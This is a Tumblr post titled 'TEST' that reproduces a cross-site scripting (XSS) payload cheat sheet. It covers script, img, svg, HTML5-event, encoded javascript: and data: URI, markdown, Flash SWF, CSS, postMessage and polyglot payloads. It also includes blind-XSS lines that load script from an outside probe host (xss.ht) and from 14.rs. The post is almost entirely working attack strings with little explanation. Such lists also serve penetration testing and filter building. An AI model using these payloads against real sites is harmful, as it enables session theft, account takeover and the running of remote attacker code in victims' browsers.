#ashar header | Explore Tumblr Posts and Blogs

akimbb-blog · 5 years

Text

TEST

Basic payload <script>alert('XSS')</script> <scr<script>ipt>alert('XSS')</scr<script>ipt> "><script>alert('XSS')</script> "><script>alert(String.fromCharCode(88,83,83))</script> Img payload <img src=x onerror=alert('XSS');> <img src=x onerror=alert('XSS')// <img src=x onerror=alert(String.fromCharCode(88,83,83));> <img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));> <img src=x:alert(alt) onerror=eval(src) alt=xss> "><img src=x onerror=alert('XSS');> "><img src=x onerror=alert(String.fromCharCode(88,83,83));> Svg payload <svg onload=alert(1)> <svg/onload=alert('XSS')> <svg onload=alert(1)// <svg/onload=alert(String.fromCharCode(88,83,83))> <svg id=alert(1) onload=eval(id)> "><svg/onload=alert(String.fromCharCode(88,83,83))> "><svg/onload=alert(/XSS/) Div payload <div onpointerover="alert(45)">MOVE HERE</div> <div onpointerdown="alert(45)">MOVE HERE</div> <div onpointerenter="alert(45)">MOVE HERE</div> <div onpointerleave="alert(45)">MOVE HERE</div> <div onpointermove="alert(45)">MOVE HERE</div> <div onpointerout="alert(45)">MOVE HERE</div> <div onpointerup="alert(45)">MOVE HERE</div> XSS for HTML5 <body onload=alert(/XSS/.source)> <input autofocus onfocus=alert(1)> <select autofocus onfocus=alert(1)> <textarea autofocus onfocus=alert(1)> <keygen autofocus onfocus=alert(1)> <video/poster/onerror=alert(1)> <video><source onerror="javascript:alert(1)"> <video src=_ onloadstart="alert(1)"> <details/open/ontoggle="alert`1`"> <audio src onloadstart=alert(1)> <marquee onstart=alert(1)> <meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter> <body ontouchstart=alert(1)> // Triggers when a finger touch the screen <body ontouchend=alert(1)> // Triggers when a finger is removed from touch screen <body ontouchmove=alert(1)> // When a finger is dragged across the screen. XSS using script tag (external payload) <script src=14.rs> you can also specify an arbitratry payload with 14.rs/#payload e.g: 14.rs/#alert(document.domain) XSS in Hidden input <input type="hidden" accesskey="X" onclick="alert(1)"> Use CTRL+SHIFT+X to trigger the onclick event DOM XSS #"><img src=/ onerror=alert(2)> XSS in JS Context (payload without quote/double quote from @brutelogic -(confirm)(document.domain)// ; alert(1);// XSS URL URL/<svg onload=alert(1)> URL/<script>alert('XSS');// URL/<input autofocus onfocus=alert(1)> XSS in wrappers javascript and data URI XSS with javascript: javascript:prompt(1) %26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341 &#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41 We can encode the "javacript:" in Hex/Octal \x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1) \u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1) \152\141\166\141\163\143\162\151\160\164\072alert(1) We can use a 'newline character' java%0ascript:alert(1) - LF (\n) java%09script:alert(1) - Horizontal tab (\t) java%0dscript:alert(1) - CR (\r) Using the escape character \j\av\a\s\cr\i\pt\:\a\l\ert$1$ Using the newline and a comment // javascript://%0Aalert(1) javascript://anything%0D%0A%0D%0Awindow.alert(1) XSS with data: data:text/html,<script>alert(0)</script> data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script> XSS with vbscript: only IE vbscript:msgbox("XSS") XSS in files ** NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup. <name> <value><![CDATA[<script>confirm(document.domain)</script>]]></value> </name> XSS in XML <html> <head></head> <body> <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script> </body> </html> XSS in SVG <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.domain); </script> </svg> XSS in SVG (short) <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/> <svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg> <svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg> <svg><title><![CDATA[</title><script>alert(3)</script>]]></svg> XSS in Markdown [a](javascript:prompt(document.cookie)) [a](j a v a s c r i p t:prompt(document.cookie)) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:window.onerror=alert;throw%201) XSS in SWF flash application Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain); IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);} IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1); more payloads in ./files XSS in SWF flash application flashmediaelement.swf?jsinitfunctio%gn=alert`1` flashmediaelement.swf?jsinitfunctio%25gn=alert(1) ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000 swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);// swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf plupload.flash.swf?%#target%g=alert&uid%g=XSS& moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true video-js.swf?readyFunction=alert(1) player.swf?playerready=alert(document.cookie) player.swf?tracecall=alert(document.cookie) banner.swf?clickTAG=javascript:alert(1);// io.swf?yid=\"));}catch(e){alert(1);}// video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29 bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4 flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}// phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}// XSS in CSS <!DOCTYPE html> <html> <head> <style> div { background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>"); background-color: #cccccc; } </style> </head> <body> <div>lol</div> </body> </html> XSS in PostMessage If the target origin is asterisk * the message can be sent to any domain has reference to the child page. <html> <body> <input type=button value="Click Me" id="btn"> </body> <script> document.getElementById('btn').onclick = function(e){ window.poc = window.open('http://www.redacted.com/#login'); setTimeout(function(){ window.poc.postMessage( { "sender": "accounts", "url": "javascript:confirm('XSS')", }, '*' ); }, 2000); } </script> </html> Blind XSS XSS Hunter Available at https://xsshunter.com/app XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service. "><script src=//yoursubdomain.xss.ht></script> javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yoursubdomain.xss.ht\';document.body.appendChild(a)') <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//yoursubdomain.xss.ht");a.send();</script> <script>$.getScript("//yoursubdomain.xss.ht")</script> Other Blind XSS tools sleepy-puppy - Netflix bXSS - LewisArdern BlueLotus_XSSReceiver - FiresunCN ezXSS - ssl Blind XSS endpoint Contact forms Ticket support Referer Header Custom Site Analytics Administrative Panel logs Polyglot XSS Polyglot XSS - 0xsobky jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e Polyglot XSS - Ashar Javed ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> Polyglot XSS - Mathias Karlsson " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//

1 note · View note